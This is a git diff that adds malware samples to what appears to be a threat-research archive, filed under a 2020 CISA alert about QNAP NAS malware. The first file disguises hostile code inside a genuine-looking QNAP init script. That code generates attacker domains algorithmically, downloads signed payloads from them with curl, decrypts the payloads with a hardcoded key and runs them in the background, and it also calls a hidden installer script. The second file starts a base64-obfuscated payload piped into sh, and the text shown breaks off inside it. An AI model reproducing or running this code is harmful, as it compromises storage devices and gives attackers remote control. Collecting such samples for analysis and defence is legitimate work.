diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 new file mode 100644 index 0000000..c7b96da --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/09ab3031796bea1b8b79fcfd2b86dac8f38b1f95f0fce6bd2590361f6dcd6764 @@ -0,0 +1,510 @@ +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/.system/.qinstaller.sh; exit 1; } +esac +{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } +fi +fi diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c new file mode 100644 index 0000000..b9e718b --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/13f3ea4783a6c8d5ec0b0d342dcdd0de668694b9c1b533ce640ae4571fdbf63c @@ -0,0 +1,572 @@ +#!/bin/sh +(exec>/dev/null>&1 2>&1;(PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin";cat > /dev/null <<"EOF"|sh& +KCBleGVjID4vZGV2L251bGwgMj4mMTsgKApleHBvcnQgUEFUSD0iJHtQQVRIfTovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2Jpbi9YMTE6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluIgpjb21tYW5kIC12IGRpcm5hbWUgPi9kZXYvbnVsbCAyPiYxIHx8IGRpcm5hbWUgKCkgeyB0ZXN0IC16ICIkMSIgJiYgZWNobyAiLiIgJiYgcmV0dXJuOyBsb2NhbCByPSIkezElIiR7MSMjKlshL119In0iOyBjYXNlICRyIGluIC8qWyEvXSovKnxbIS9dKi8qKSByPSIke3IlLyp9IjsgZWNobyAiJHtyJSIke3IjIypbIS9dfSJ9Ijs7ICovKikgZWNobyAke3IlJVshL119OzsgIiIpIGVjaG8gJDE7OyAqKSBlY2hvIC47OyBlc2FjOyB9CnRlc3QgLWQgL2V0Yy9jb25maWcgJiYgY29uZmRpcj0vZXRjL2NvbmZpZyB8fCB7IHRlc3QgLWQgL21udC9IREFfUk9PVC8uY29uZmlnICYmIGNvbmZkaXI9L21udC9IREFfUk9PVC8uY29uZmlnOyB9CnRlc3QgLWQgIiRjb25mZGlyIiB8fCBjb25mZGlyPS9ldGMvY29uZmlnCmNvbW1hbmQgLXYgZ2V0Y2ZnID4gL2Rldi9udWxsIDI+JjEgfHwgZ2V0Y2ZnICgpIHsgc2VkIC1uICdIOyR7eDtzL1woLipcClxbJyIkezEvL1wvL1xcXC99IiddXHxeXFsnIiR7MS8vXC8vXFxcL30iJ11cKVwKLy9JO3MvXCheXHxcClwpXFtbXlwKXVwrXF1cCi4qLy9wfScgIiR7NDotJHtjb25mZGlyfS91TGludXguY29uZn0iIHwgc2VkIC1uICdzL14nIiR7Mi8vXC8vXFxcL30iJyBcPz0gXD9cKC4qXCkvXDEvSXAnOyB9CmJkaXI9CnRlc3QgLWYgIiR7Y29uZmRpcn0vc21iLmNvbmYiICYmIGZvciBpIGluIGhvbWVzIFB1YmxpYyBEb3dubG9hZCBNdWx0aW1lZGlhIFdlYiBSZWNvcmRpbmdzOyBkbyBiZGlyPWBnZXRjZmcgIiRpIiBwYXRoIC1mICIke2NvbmZkaXJ9L3NtYi5jb25mImAgJiYgdGVzdCAhIC16ICIkYmRpciIgJiYgYmRpcj1gZGlybmFtZSAiJGJkaXIiYCAmJiB0ZXN0IC1kICIkYmRpciIgJiYgdGVzdHdyaXRlYWJsZT0kKG1rdGVtcCAiJHtiZGlyfS8udG1wLlhYWFhYWCIpICYmIHJtICIke3Rlc3R3cml0ZWFibGV9IiAmJiBicmVhazsgYmRpcj0nJzsgZG9uZQp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIHsgY29tbWFuZCAtdiByZWFkbGluayA+L2Rldi9udWxsIDI+JjEgfHwgbG4gLXNmIC9iaW4vYnVzeWJveCAvdXNyL2Jpbi9yZWFkbGluazsgZm9yIGkgaW4gaG9tZXMgUHVibGljIERvd25sb2FkIE11bHRpbWVkaWEgV2ViIFJlY29yZGluZ3M7IGRvIGJkaXI9YHJlYWRsaW5rICIvc2hhcmUvJHtpfSIgMj4vZGV2L251bGxgICYmIHRlc3QgISAteiAiJGJkaXIiICYmIGJkaXI9YGRpcm5hbWUgIiRiZGlyImAgJiYgYmRpcj0vc2hhcmUvJHtiZGlyIyMqL30gJiYgdGVzdCAtZCAiJGJkaXIiICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iOyB9ICYmIHsgYmRpcj1gZ2V0Y2ZnIFNIQVJFX0RFRiBkZWZWb2xNUCAtZiAiJHtjb25mZGlyfS9kZWZfc2hhcmUuaW5mbyJgCnRlc3QgLXogIiR7YmRpcn0iIHx8IHRlc3QgISAtZCAiJHtiZGlyfSI7IH0gJiYgeyBiZGlyPWBtb3VudCB8IHNlZCAtbiAicy8uKlwoXC9zaGFyZVwvW14gL11cK1wpIC4qL1wxL2dwIiB8IGhlYWQgLW4gMWAKdGVzdCAteiAiJHtiZGlyfSIgfHwgdGVzdCAhIC1kICIke2JkaXJ9IjsgfSAmJiB7IGZvciBpIGluIENBQ0hFREVWM19EQVRBIENBQ0hFREVWMl9EQVRBIENBQ0hFREVWMV9EQVRBIE1EMF9EQVRBOyBkbyB0ZXN0IC1kICIvc2hhcmUvJHtpfSIgJiYgYmRpcj0iL3NoYXJlLyR7aX0iICYmIGJyZWFrOyBkb25lOwp0ZXN0IC16ICIke2JkaXJ9IiB8fCB0ZXN0ICEgLWQgIiR7YmRpcn0iICYmIGJkaXI9L21udC9IREFfUk9PVDsgfQplY2hvICdhYipjJyB8IGdyZXAgLUYgJ2FiKmMnID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD0iZ3JlcCAtRiIgfHwgeyBjb21tYW5kIC12IGZncmVwID4vZGV2L251bGwgMj4mMSAmJiBmZ3JlcD1mZ3JlcCB8fCBmZ3JlcD1ncmVwOyB9CnRlc3QgIiRmZ3JlcCIgfHwgZmdyZXA9Z3JlcApzbGVlcCA1CmlmIFsgISAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiBdOyB0aGVuCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2ciIHx8IG1rZGlyIC1wICIke2JkaXJ9Ly5xcGtnIiB8fCBta2RpciAiJHtiZGlyfS8ucXBrZyIKdGVzdCAtZiAiJHtiZGlyfS8ucXBrZy8uY29uZmlnIiB8fCB0ZXN0IC1oICIke2JkaXJ9Ly5xcGtnLy5jb25maWciICYmIHJtIC1mICIke2JkaXJ9Ly5xcGtnLy5jb25maWciCnRlc3QgLWQgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIgfHwgbWtkaXIgIiR7YmRpcn0vLnFwa2cvLmNvbmZpZyIKY2F0ID4gIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIgPDwiWEVPRiIKIyEvYmluL3NoClFOQVBfUVBLRz1jbG91ZGluc3RhbGwKUUlEX1BSRVNJU1RFTlRfQ09ORj0vZXRjL2NvbmZpZy9xaWRfcGVyc2lzdGVudC5jb25mCk5BU19DTE9VRF9JTlNUQUxMX1BBVEg9L2hvbWUvaHR0cGQvY2dpLWJpbi9jbG91ZGluc3RhbGwKQ0xPVURfSU5TVEFMTF9QQVRIPS90dW5uZWxfYWdlbnQKQ0xPVURfSU5TVEFMTF9SQU1ESVNLX1BBVEg9L3R1bm5lbF9hZ2VudF9yY